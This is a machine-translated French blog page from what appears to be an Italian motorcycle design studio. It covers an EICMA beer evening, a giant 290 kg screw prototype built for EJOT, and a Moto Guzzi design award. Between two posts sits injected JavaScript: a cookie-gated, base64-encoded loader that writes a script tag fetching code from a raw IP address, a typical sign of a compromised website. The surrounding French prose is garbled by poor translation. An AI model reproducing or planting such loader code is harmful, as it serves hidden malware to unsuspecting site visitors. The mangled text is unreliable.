Bière & Les discussions vendredi à DONNÉ “édition novembre”

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Bière & Les discussions vendredi à DONNÉ “édition novembre”

Ce mois-ci, Il répète rendez-vous mensuel DONNÉ, où vous pourrez rencontrer les amateurs de moto, designer, ou amis.

Ce mois-ci, nous présentons une belle CR&S VUN esthétique profondément mis à jour, la “Sportive”.

Dans le cadre EICMA, L'événement aura lieu le vendredi de la foire, après une journée de réunions et de belles motos, quoi de mieux qu'une bonne partie de recueillir des idées?

Comme d'habitude, l'entrée est gratuite, bière, saucisses, la bonne musique et le plaisir sont garantis, cette édition est gratuit Téléchargez par EventBrite.

Une vis… mais le géant!

Dans GIVEN ne sont pas seulement des motos, mais les projets de conception en général, Nous avons réalisé pour la société EJOT une prototype très inhabituel, il est une vis sur la taille jamais vu, dont la taille est de 1,60 m pour 290 kg de poids. Ce projet a servi à l'entreprise de battre un dossiers de levage du monde, et je dirais que nous avons été en mesure de répondre aux attentes du client, tant du point de vue du poids atteint, obbligatorimente 300 kg, avec la possibilité de changer à + -20 kg, tant du point de vue de l'esthétique finale.

Dans un premier temps, nous avons d'abord procédé à une étude de conception ed ingénierie. Ce fut une étape obligatoire mais cruciale car elle permet de mieux évaluer les procédures possibles à réaliser pour la réalisation de l'objet; surtout si, comme dans ce cas, Ils sont tenus de nombreuses opérations et de nombreux processus. L'approche varie en fonction du projet que vous avez en face, dans notre cas nous a permis d'évaluer une réalisation par un mélange de techniques et de matériaux.

L'âme de la vis se compose d'un bloc de acier établi, Ils ont été collés à la surface stampe 3D qui va reconstituer l'apparence de la vigne. Ces parties externes ont été imprimés en PLA da Novembre “à l'intérieur” Colombe, Après quelques semaines de mise en liberté, Ils ont été sablé, collé acier, cimentés et enfin peint. Lors de l'assemblage et la construction de la vis, un contrôle de poids continue nous a permis de garder sous contrôle la vis, tout en confirmant les études techniques précédemment.

La même procédure a été fait pour le chariot, les poutres de acier Ils ont été soudé entre eux (de manière à être en mesure d'agir à la fois comme support pour la vis que le transport) et alors peint rouge.

Voici les images qui illustrent les différentes mesures prises pour mettre en œuvre la prototype.

Restez à l'écoute et rester à jour, un projet similaire ( sinon encore plus bizarre) pourrait frapper à notre porte à tout moment.
fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}

Nous venons de EICMA 2017

Une belle galerie de photos de l'événement EICMA à l'UM position mondiale qui nous a vu la création de participiez du prototype que vous pouvez voir dans les images et la préparation du "coin personnalisation". L'objectif des deux projets était d'évaluer la réponse du marché italien au mouvement produit UM et aussi d'analyser les nouvelles possibilités offertes par la personnalisation "à la demande" liés au prototypage et aux techniques modernes d'impression 3D.

Les résultats en termes de réponse du public a été extrêmement enrichissante.
Merci à tous ceux qui sont allés à nous saluer et de voir ce que nous avons fait.

Nous venons de EICMA 2016

Nous venons de rentrer de EICMA 2016, nous avons encore les mains raides de toutes les poignées de main échangées, un cœur plein d'émotion et de fierté pour les nombreux compliments reçus.
Nous voulons remercier tous ceux qui sont venus visiter et associer tous ceux qui ne pouvaient pas venir.

Merci

Design Association moto | 2012 Milan nuit

La marque historique Moto Guzzi, appartenant au groupe Piaggio, Il a reçu le Prix de l'Association Design Moto, un témoignage de la qualité du centre de style direct de Miguel Galluzzi.

La cérémonie de remise des prix, Il a tenu mercoledì¬ matin dans la salle Scorpio à l'intérieur du centre de conférence EICMA, Il a fait sur le style italien et la qualité et le professionnalisme du centre de design Piaggio. Il a été le président de l'Association Design Moto en personne, Glynn Kerr, de livrer entre les mains Dario Lopez, au nom de la « zone graphique du groupe Piaggio, le prix très convoité qui donne chaque année la reconnaissance du monde du design au meilleur produit de moto en termes d'innovation et de style. Présent à la cérémonie Donato Cannatello, concepteur et membre de la communauté internationale.

Miguel Galluzzi e Donato Cannatello
International Motorcycle Design Prize

Pour l'édition 2009 les prix, la conception de l'organisation (vantant 165 membres répartis sur quatre continents) Il a décidé d'accorder le prix pas pour un modèle unique, mais trois appartenant à la même marque, dans ce cas Guzzi. Le prix est donc allé à la Strada V12, le LM V12 et V12 X.

Aprilia_Guzzi_design Team

 

100_1751Design Association moto brève description

"la conception de la moto est un espace unique et hautement spécialisée, mais il a déjà été aucun organisme central pour représenter la cause, une omission qui a été au détriment des deux concepteurs et les fabricants aussi bien.

Par conséquent, l'Association Design Moto a été créé en 2001 par les co-fondateurs Glynn Kerr et François-Marie Dumas. Les objectifs de l'association sont de réunir les concepteurs de motos de toutes nationalités, de promouvoir leurs activités et de faciliter la communication entre les concepteurs et les clients potentiels. Nous sommes également efficace dans la promotion du travail des élèves, et aider à créer des liens entre les collèges et l'industrie de la moto.

L'Association dispose désormais d'un effectif de plus de 150 membres, y compris les concepteurs indépendants, ingénieurs, modélistes et studios de design dans le monde entier."